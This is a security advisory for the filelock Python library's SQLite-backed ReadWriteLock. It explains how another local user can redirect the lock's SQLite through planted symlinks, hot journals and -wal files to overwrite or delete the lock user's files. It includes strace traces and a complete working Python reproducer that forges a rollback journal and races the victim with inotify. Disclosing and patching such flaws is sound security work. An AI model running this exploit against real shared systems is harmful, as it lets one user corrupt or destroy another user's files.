GHSA-v4x8-3wr5-3wq8: SQL Injection
ReadWriteLock and AsyncReadWriteLock (the SQLite-backed reader/writer lock) hand SQLite a name they do not control. On Linux the lock validates its database through a descriptor (the number the kernel gives a process for an open file). It then connects SQLite to /proc/self/fd/<n>, a Linux path that names the process's own open file n. SQLite turns that path back into a plain path and reopens it by name, following symlinks (a symlink is a file that points at another path). On every POSIX route SQLite also acts on -journal, -wal and -shm files it finds beside that name. Those are SQLite's side files: the rollback journal (pages saved to undo an interrupted write), the write-ahead log or WAL (changes kept outside the main file), and the shared-memory index for the WAL.
Another local user who can create or rename entries in the directory that holds the lock database can turn this against the user running the lock (below: the lock user). Such a directory is a 0777 or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). That other user can make the lock user's ordinary readlock() or writelock() write bytes of the other user's choosing into the lock user's own files. The same position lets the other user make that call create or unlink files of the lock user, admit a reader beside a writer, or kill the holder. All of this runs with the lock user's privileges. In a sticky directory such as /tmp a planted -wal file makes every acquire fail. Affected versions are filelock 3.20.4 through 4.2.0 (the /proc/self/fd redirect since 4.0.9, the side-file variants since 3.20.4).
Anthropic's OSS Scanner reported this in private as ANT-2026-KMJ2575J [high, CWE-363]: ReadWriteLock: SQLite still follows planted symlinks, overwriting files.
Severity
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H scores 7.1 (High). AV:L (local): the other user needs an account on the same host. PR:L (low privileges): an ordinary account is enough. UI:N (no user interaction). AC:L (low attack complexity): the planted-journal variant needs no race, and the redirect won 77 of 77 attempts. I:H (high integrity impact): the other user writes bytes of their choosing into files of the lock user and unlinks files of their choosing. A:H (high availability impact): the other user makes every acquire fail or kills the lock holder. C:N (no confidentiality impact): the other user learns nothing. S:U (scope unchanged): the effect stays within the lock user's own privileges.
Classification from the external review: conditional security, a cross-user effect that exists only when another user can change names in the lock database's directory. The review notes that the 77/77 inotify result (inotify is a Linux interface that reports file events) is stronger evidence than a theoretical TOCTOU (a time-of-check to time-of-use race). The scanner rated it high. The review accepts the mechanism and narrows it to that precondition.
Scope and preconditions
- The other party is a different local account that can create or rename entries in the directory that holds the lock database. That is a 0777 directory or a group-writable one (including a setgid 2775 project directory shared with that account), in each case without the sticky bit. The lock user's lock must be able to open the database read-write, so a database the other user creates is 0666. filelock itself creates the database 0600. - Sticky directories (/tmp, /var/tmp, any 1777 directory) narrow the finding rather than exclude it. The redirect and the journal replay do not reach a database the lock user owns there (tested with fs.protectedregular=2). What remains is a planted non-empty <db>-wal (any mode; a directory or FIFO works too) that the lock user cannot unlink. It makes every acquire raise sqlite3.OperationalError: disk I/O error. A hard link (a second name for the same file) to a file of the lock user at the lock path also remains, if fs.protectedhardlinks=0. - Two kernel settings matter. fs.protectedregular (1 or 2 is the systemd default on most distributions; the kernel's own default is 0) keeps a user from opening a file another user owns in a sticky world-writable directory. Where it is 0, the other user can own the database in /tmp, and SQLite follows a planted symlink itself (not tested). fs.protectedhardlinks=1 (most distributions; kernel default 0) blocks a hard link of a lock user's file onto the lock path. Neither setting affects a non-sticky shared directory. - Platform and route. The /proc/self/fd redirect is Linux with /proc mounted, 4.0.9 and later. The side-file variants (-journal, -wal, -shm) exist on every POSIX route. On the hard-link route (macOS since 4.1.1 for every connection, Linux without /proc) they need the link-directory swap described under "Mechanism", so a non-sticky parent. Neither the scanner nor the review executed on macOS; the statement rests on the platform branch and the identical code after it. Windows does not take this path. - Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename an entry in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.
Affected code
At the scanned commit b831496b0273: connectthroughdescriptor builds /proc/self/fd/<n> and hands it to sqlite3.connect. The assumption is the comment at line 63, "Descriptor paths reopen the validated inode" (an inode is the kernel's identity for a file, independent of its name). SQLite first reads the file it opened at PRAGMA journalmode=MEMORY, line 816. The check in raiseifdatabasereplaced at line 836 runs only after BEGIN. Both openlockdatabase and raiseifwal inspect the descriptor, not the file SQLite is on. The one-level hard link of the macOS route is linkbeside.
Introduced
The /proc/self/fd redirect came with 4d45e83 ("Merge commit from fork", the fix for GHSA-j8f7-rjxc-mr56), first released in 4.0.9 (verified: git tag --contains 4d45e83 gives 4.0.9); 4.0.8 does not have it. The side-file variants are older. They reproduce on cfd4446 ("feat(lock): add SQLite-based ReadWriteLock (#399)"), first released in 3.20.4 (verified), which passed the lock path straight to sqlite3.connect.
Mechanism
On Linux the lock opens the database with ORDWR|OCREAT|ONOFOLLOW|ONONBLOCK. It checks through the descriptor that the file is a regular file and not a WAL database. It then calls sqlite3.connect("/proc/self/fd/<n>") and expects SQLite to reopen the validated inode. SQLite does not open that name. It runs readlink() on it, which yields the path string the kernel reports for the descriptor at that moment, and opens that string by path, following every symlink. Without interference the trace shows readlink("/proc/534/fd/3") = "/tmp/benign/app.lock.db" and then a second openat of that path. The descriptor contributes only a string. Once the directory entry behind the descriptor is gone, the string is <database> (deleted). A symlink with that exact name sends SQLite wherever its creator chose.
The other user prepares the directory before the lock user runs. They create a database cache.lock.db (0666, so the lock user's lock accepts it) with a second hard link cache.lock.db.keep, and the symlink cache.lock.db (deleted) -> /tmp/victim-notes.txt. The lock user's os.open raises an inotify INOPEN event. The other user unlinks cache.lock.db and links cache.lock.db.keep back under the same name. The lock user's descriptor still refers to the unlinked entry, so /proc/self/fd/3 now reads /tmp/shared-cache/cache.lock.db (deleted). sqlite3.connect resolves it, follows the symlink and opens the target ORDWR|OCREAT. None of filelock's checks look at that file. openlockdatabase and raiseifwal inspect descriptor 3. raiseifdatabasereplaced compares an lstat of the lock path with the descriptor's (stdev, stino), which passes because the other user linked the same inode back, and it runs only after BEGIN.
The damage comes from the first statement, PRAGMA journalmode=MEMORY. SQLite finds <target>-journal, treats it as the rollback journal of an interrupted transaction, and copies its page records into the target before it checks whether the target is a database at all. The journal header supplies the page size and the page count SQLite resizes the file to. Whoever wrote the journal computed the per-page checksum. The content from offset 0 and the final length are therefore the other user's. Strace of the lock user's process (SQLite 3.40.1):
openat("/tmp/shared-cache/cache.lock.db", ORDWR|OCREAT|ONONBLOCK|ONOFOLLOW|OCLOEXEC, 0600) = 3 readlink("/proc/3819/fd/3", "/tmp/shared-cache/cache.lock.db (deleted)", 4096) = 41 readlink("/tmp/shared-cache/cache.lock.db (deleted)", "/tmp/victim-notes.txt", 4096) = 21 openat("/tmp/victim-notes.txt", ORDWR|OCREAT|ONOFOLLOW|OCLOEXEC, 0644) = 4 openat("/tmp/victim-notes.txt-journal", ORDWR|ONOFOLLOW|OCLOEXEC) = 5 pread64(5, "ATTACKER CONTENT WRITTEN BY THE "..., 4096, 516) = 4096 pwrite64(4, "ATTACKER CONTENT WRITTEN BY THE "..., 4096, 0) = 4096 unlink("/tmp/victim-notes.txt-journal") = -1 EPERM -> "disk I/O error"
The redirect itself needs no journal. The constructor's validation connection already makes SQLite open the target with OCREAT. With the symlink pointing at a missing path in the lock user's home, constructing the lock created that file (empty, 0644, owned by the lock user) and raised nothing. With the symlink pointing at a 0600 WAL-mode SQLite database of the lock user, writelock() returned without error and the database's header bytes 18 and 19 changed from 2 2 to 1 1. The pragma converted the lock user's database out of WAL mode, and the redirected acquire held its SQLite lock on that database rather than on the lock database.
Side-file names beside the database. Two comments record the belief that SQLite names its side files after the descriptor path (line 63, line 1095). The path is not synthetic to SQLite. It derives <database>-journal, <database>-wal and <database>-shm from the resolved real path in the shared directory. journalmode=MEMORY governs only journals SQLite would write, not ones it finds. These variants need no redirect.
A hot -journal makes the lock user unlink a file the journal names; no race. The other user unlinks the lock user's empty lock.db, puts a one-page SQLite database (0666) in its place, and writes a 46-byte lock.db-journal: a path, its 4-byte length, the 4-byte sum of its bytes and SQLite's journal magic. SQLite treats a journal beside a non-empty database as hot (left by an interrupted transaction). The tail names a "super-journal", and recovery ends by unlinking that file. The lock user's next readlock() or writelock() returns without error and the named file is gone (unlink("/home/victim/private/notes.txt") = 0, from a 0700 directory of the lock user). The named file must be a non-empty regular file the lock user can read and unlink. A FIFO planted as lock.db-journal instead blocks readlock(timeout=2) in SQLite's open() of the journal (still blocked when killed after 10 s).
A re-planted -wal puts the holder in WAL mode past raiseifwal. raiseifwal checks header bytes 18 and 19. Whenever a connection takes its first lock, SQLite stats <db>-wal, and if that file and the database are both non-empty it opens the WAL whatever the header says. The pragma at line 816 converts such a database and unlinks -wal and -shm. The BEGIN at line 833 is a separate statement that starts unlocked and stats <db>-wal again. Re-creating the 32-byte -wal in that gap landed on the first attempt in 20 of 20 runs on a 2-CPU machine.
The lock user's with lock.writelock(): then holds the -shm byte-120 WAL write lock and only SHARED on the database. Once the other user removes the -wal, a second process of the lock user gets readlock(timeout=1) granted while the writer is inside its block, with no exception on either side. SQLite also creates <db>-shm with the database's permission bits (0666) and keeps it mapped into memory. After the other user truncates it, the writer dies with SIGBUS (the signal for touching a mapped file region that no longer exists) in connection.rollback() during release().
A -wal in a sticky directory makes every acquire raise; no race, no access to the database. Beside the lock user's own empty 0600 database, a non-empty <db>-wal (one byte, any mode; a directory or FIFO works too) is a leftover SQLite tries to delete. In a 1777 directory the lock user cannot unlink another user's file (unlink(...) = -1 EPERM), so the pragma fails with SQLITEIOERRDELETE. The code in doacquireinner translates only "database is locked" into Timeout. sqlite3.OperationalError: disk I/O error therefore leaves every acquireread() / acquirewrite() (and the async variants) within milliseconds, whatever timeout or blocking says, until the file's owner or root removes it.
Further effects observed at this commit in a non-sticky directory. A 0755 script owned by the lock user, renamed to the lock path with a one-record journal beside it, ends up holding the other user's bytes (the acquire raises file is not a database). A hard link to the lock user's 0600 ~/.profile at the lock path does the same in a sticky /tmp when fs.protectedhardlinks=0. When the locking process runs as root, SQLite runs fchown on a -wal or -shm it opens to match the owner of the database, so root's 0600 service.env renamed to app.lock.db-wal belonged to the other user after root's readlock().
A journal whose super-journal names the database itself makes SQLite open and close a second descriptor on the database, which drops the process's POSIX locks, so acquireread returns with no lock held in /proc/locks and a writer in another process acquires (two journals in a row, one per statement; write locks are not affected). A one-byte lock.db-wal plus a lock.db-shm on which the other user holds two byte locks makes the acquire take 10 s regardless of timeout and raise locking protocol, or die with SIGBUS if the other user truncates the -shm.
The hard-link route in a directory without the sticky bit. None of the above occurs on the linkbeside branch (macOS, Linux without /proc). There SQLite's main file is .filelock-…/lock.db in the connecting user's 0700 directory. That protection holds only where no other user can rename the .filelock- entry itself, because 0700 protects the contents, not the entry in the parent. linkbeside checks the link once and returns a pathname, and every later use is by that name.
With /proc hidden in a 0777 directory, the other user staged a directory holding a hard link lock.db to a one-page database and a hot lock.db-journal. They held BEGIN EXCLUSIVE on the database so the lock user's first statement waited in the busy handler (SQLite's retry loop for a locked database), renamed the lock user's .filelock- directory aside, renamed the staged directory onto its name and rolled back. SQLite got SHARED, found the journal under the swapped name and unlinked the file it named. The lock user's process reported the lock held and exited 0. A polling variant without the write lock also won (in 40 trials the file was gone after 1 to 26 starts of the lock user's program). Under the sticky bit the rename fails with EPERM.
Reproduction
The scanner's reproducer for ANT-2026-KMJ2575J, quoted as received. It ran against commit b831496b0273.
repro
python #!/usr/bin/env python3 import os import shutil import subprocess import sys
asvictim = {"user": "victim", "group": "victim", "extragroups": []} asattacker = {"user": "attacker", "group": "attacker", "extragroups": []}
set up: the lock database lives in a shared cache directory, 0777 and not sticky shareddir = "/tmp/shared-cache" lockdb = shareddir + "/cache.lock.db" shutil.rmtree(shareddir, ignoreerrors=True) os.mkdir(shareddir) os.chmod(shareddir, 0o777)
set up: a private 0600 file of the victim's in sticky /tmp, which the attacker cannot write target = "/tmp/victim-notes.txt" for leftover in (target, target + "-journal"): if os.path.lexists(leftover): os.unlink(leftover) original = b"original victim notes\n" with open(target, "wb") as notes: notes.write(original) shutil.chown(target, "victim", "victim") os.chmod(target, 0o600) directwrite = subprocess.run( [sys.executable, "-c", "import sys; open(sys.argv[1], 'r+b')", target], captureoutput=True, text=True, asattacker ) print("attacker opening the target for writing:", directwrite.stderr.strip().splitlines()[-1]) assert directwrite.returncode != 0
attack: a hot journal beside the target, and a redirect of the victim's SQLite from the lock database to the target content = "ATTACKER CONTENT WRITTEN BY THE VICTIM'S ReadWriteLock\n" subprocess.run([sys.executable, "/tmp/repro.d/planthotjournal.py", target, content], check=True, asattacker) redirect = subprocess.Popen( [sys.executable, "/tmp/repro.d/redirectlockdb.py", lockdb, target], stdout=subprocess.PIPE, text=True, asattacker ) assert redirect.stdout.readline() == "ready\n"
the victim takes its read lock; the attacker races each acquire, so the victim runs up to 20 times for run in range(1, 21): victim = subprocess.run( [sys.executable, "/tmp/repro.d/victimapp.py", lockdb], captureoutput=True, text=True, timeout=60, asvictim ) with open(target, "rb") as notes: after = notes.read() if after != original: break redirect.kill() redirect.wait()
check: taking a lock on cache.lock.db must leave the victim's notes alone print(f"victim run {run}: exit status {victim.returncode}:", (victim.stderr.strip() or "no error").splitlines()[-1]) status = os.stat(target) print("target owner, mode, size:", status.stuid, oct(status.stmode & 0o7777), status.stsize) print("target before:", original) print("target after: ", after[:60]) print("BUG" if after == content.encode().ljust(4096, b"\0") else "OK")
repro.d/planthotjournal.py
python #!/usr/bin/env python3 """The attacker: leave a rollback journal beside TARGET whose one record restores TARGET's first page to CONTENT."""
import os import struct import sys
target, content = sys.argv[1], sys.argv[2].encode() journalpath = target + "-journal"
https://www.sqlite.org/fileformat2.html#therollbackjournal JOURNALMAGIC = bytes.fromhex("d9d505f920a163d7") pagesize, sectorsize, nonce = 4096, 512, 0x11223344 recordcount = 1 pagesafterrollback = 1 # SQLite truncates TARGET to this many pages header = JOURNALMAGIC + struct.pack(">IIIII", recordcount, nonce, pagesafterrollback, sectorsize, pagesize)
pagenumber = 1 # page 1 starts at offset 0 pageimage = content.ljust(pagesize, b"\0") SQLite's pagercksum(): the nonce plus every 200th byte, counting down from pagesize - 200 checksum = (nonce + sum(pageimage[i] for i in range(pagesize - 200, 0, -200))) & 0xFFFFFFFF record = struct.pack(">I", pagenumber) + pageimage + struct.pack(">I", checksum)
with open(journalpath, "wb") as journal: journal.write(header.ljust(sectorsize, b"\0") + record) os.chmod(journalpath, 0o666) # the victim's SQLite opens a hot journal ORDWR
repro.d/redirectlockdb.py
python #!/usr/bin/env python3 """The attacker: make the victim's SQLite, connecting through /proc/self/fd/<n>, open TARGET instead of LOCKDB."""
import ctypes import os import sys
lockdb, target = sys.argv[1], sys.argv[2] sparename = lockdb + ".keep"
the attacker creates the lock database, world-writable so that the victim's ReadWriteLock accepts it os.close(os.open(lockdb, os.OCREAT | os.OWRONLY)) os.chmod(lockdb, 0o666) os.link(lockdb, sparename)
what /proc/<pid>/fd/<n> reads back as once the name the descriptor was opened through is unlinked os.symlink(target, lockdb + " (deleted)")
INOPEN = 0x20 libc = ctypes.CDLL(None, useerrno=True) inotify = libc.inotifyinit1(0) if libc.inotifyaddwatch(inotify, lockdb.encode(), INOPEN) < 0: raise OSError(ctypes.geterrno(), "inotifyaddwatch", lockdb) print("ready", flush=True)
while True: os.read(inotify, 4096) # the victim's ReadWriteLock has opened the database and is validating its descriptor os.unlink(lockdb) os.link(sparename, lockdb) # the same inode back at the path, so filelock's later lstat sees no change
repro.d/victimapp.py
python #!/usr/bin/env python3 """The victim: an application that takes its shared read lock once, as in docs/how-to.rst."""
import sys
from filelock import ReadWriteLock
rw = ReadWriteLock(sys.argv[1]) with rw.readlock(timeout=5): pass
Attack sequence
The redirect, with A the other local user:
mermaid sequenceDiagram participant A as other local user participant V as lock user's process (filelock) participant S as SQLite inside that process participant K as kernel and filesystem rect rgb(255, 214, 214) Note over A,K: filelock 4.0.9 to 4.2.0 on Linux, lock directory 0777 without the sticky bit A->>K: create cache.lock.db (0666) and a second hard link cache.lock.db.keep A->>K: symlink "cache.lock.db (deleted)" pointing at /tmp/victim-notes.txt A->>K: write /tmp/victim-notes.txt-journal (hot rollback journal, one page record) V->>K: open(cache.lock.db, ORDWR OCREAT ONOFOLLOW) gives fd 3, fstat says regular, header not WAL K-->>A: inotify INOPEN on cache.lock.db A->>K: unlink(cache.lock.db) then link(cache.lock.db.keep, cache.lock.db) V->>S: sqlite3.connect("/proc/self/fd/3") S->>K: readlink(/proc/self/fd/3) returns "cache.lock.db (deleted)" S->>K: open("cache.lock.db (deleted)") follows the symlink to victim-notes.txt V->>S: PRAGMA journalmode=MEMORY S->>K: open(victim-notes.txt-journal), pread page 1, pwrite it at offset 0 of victim-notes.txt Note over V,K: victim-notes.txt (0600, 22 bytes) is now the other user's 4096-byte page image, the lock user sees "disk I/O error" V->>K: lstat(cache.lock.db) matches fd 3 identity, so raiseifdatabasereplaced passes end
The side-file variants, which need no redirect:
mermaid flowchart TD B0["acquire validates fd, connects SQLite by a name in the shared directory"] --> B1{"what did the other user put beside the real path?"} B1 -- "hot -journal beside a swapped-in one-page database" --> B2["PRAGMA replays the journal, then unlinks the super-journal file it names, acquire succeeds"] B1 -- "-wal re-created between PRAGMA and BEGIN" --> B3["holder in WAL mode, reader admitted beside the writer, SIGBUS when -shm is truncated"] B1 -- "-wal in a sticky directory the lock user cannot unlink" --> B4["every acquire raises OperationalError disk I/O error, timeout ignored"] B1 -- "name unlinked and a (deleted) symlink planted" --> B5["SQLite opens the symlink target with OCREAT"] classDef ok fill:#d8f3dc,stroke:#2d6a4f,color:#1b4332; classDef bad fill:#ffd6d6,stroke:#c1121f,color:#5c0000; classDef info fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a; class B0,B1 info; class B2,B3,B4,B5 bad;
Evidence
The scanner's reproducer runs the documented ReadWriteLock(path) + with rw.readlock(timeout=5): as user victim against /tmp/shared-cache/cache.lock.db (directory 0777, not sticky) while user attacker holds the symlink and reacts to inotify. It first shows that attacker cannot write the target (PermissionError: [Errno 13] Permission denied: '/tmp/victim-notes.txt'). On the first victim run it prints victim run 1: exit status 1: sqlite3.OperationalError: disk I/O error, target owner, mode, size: 1000 0o600 4096, target before b'original victim notes\n', after b"ATTACKER CONTENT WRITTEN BY THE VICTIM'S ReadWriteLock\n\x00...", verdict BUG. Reacting to inotify redirected the first acquire in 77 of 77 runs. A plain unlink/link busy loop with no inotify also won on the first run. A process holding two ReadWriteLock instances on one database keeps an idle descriptor; a swap done a full second before the second acquire redirected it. The -wal re-plant landed on the first attempt in 20 of 20 runs. The journal-unlink variant needs no race.
Our verification: the reproducer prints BUG on the scanned commit b831496 and on the 4.2.0 image (e2e7d70). On the PR #834 head it prints OK: all 20 victim runs exit 0 with no error and the target stays 1000 0o600 22 bytes with its original content. The independent review also ran the sticky-directory -wal variant (a 0600 database owned by victim in a 1777 directory, other user plants <db>-wal). 4.2.0 raises OperationalError: disk I/O error; the PR head takes read and write locks with the file still present.
Impact
Another local user who can write the non-sticky directory holding the database makes the lock user's process act on a file other than the lock database, with the lock user's privileges, on Linux. The process writes bytes of the other user's choosing from offset 0 into any non-empty regular file the lock user can write, resized to a whole number of pages, provided the other user can create <file>-journal beside it (the lock user's own 0600 files in /tmp qualify). Without a journal the process creates an empty file at any path it may create, or converts a WAL-mode SQLite database of its own to rollback mode with no error. A journal beside a swapped-in database makes the process unlink one regular file of the other user's choosing per journal; the acquire succeeds and raises nothing. A process inside writelock() stops excluding the lock user's other processes from readlock(), and the holder can die from a SIGBUS that arrives in release().
It is not reachable for a database the lock user owns in /tmp with fs.protectedregular 1 or 2. There only the planted -wal denial of service remains: every acquire raises an undocumented sqlite3.OperationalError that Timeout and OSError handlers do not catch. It is a bypass of the fix for GHSA-j8f7-rjxc-mr56 (4.0.9), which refused the symlink at the database path but followed it at <database> (deleted). Windows does not take this path.
Workarounds
- Keep the ReadWriteLock database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share one ReadWriteLock database between accounts through a 0777 or group-writable directory. The lock creates its database 0600, and leaving it that way keeps other accounts from supplying its content. - For a lock in a sticky directory keep fs.protectedregular at 1 or 2 and fs.protectedhardlinks=1 (distribution defaults). Treat a sudden sqlite3.OperationalError: disk I/O error on every acquire as a foreign <db>-wal beside the database that the file's owner or root has to remove.
Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/834
Credits
Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.
- 2026-10-15 23:08 UTC: report received (scan filelock-20261015-005 of commit b831496b0273) - 2026-10-16 00:46 UTC: draft advisory created - 2026-10-16 01:15 UTC: fix PR #834 opened
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/filelockto a version that resolves this vulnerability.Fixed in 4.2.1 - Upgrade
Upgrade
filelockto a version that resolves this vulnerability.Fixed in 4.2.1Patch PR #834 - Configuration
Keep fs.protected_regular at 1 or 2 and fs.protected_hardlinks at 1.
Linux kernel fs.protected_regular and fs.protected_hardlinks = fs.protected_regular=1 or 2; fs.protected_hardlinks=1 - Compensating control
Keep the ReadWriteLock database in a directory writable only by the locking account or root, with no group or other write bit. Ensure every ancestor is owned by that account or root and is either not writable by others or sticky; do not share one ReadWriteLock database between accounts through a 0777 or group-writable non-sticky directory.
- Operational
If every acquire starts failing with sqlite3.OperationalError: disk I/O error because of a foreign <db>-wal, have the file's owner or root remove that <db>-wal file.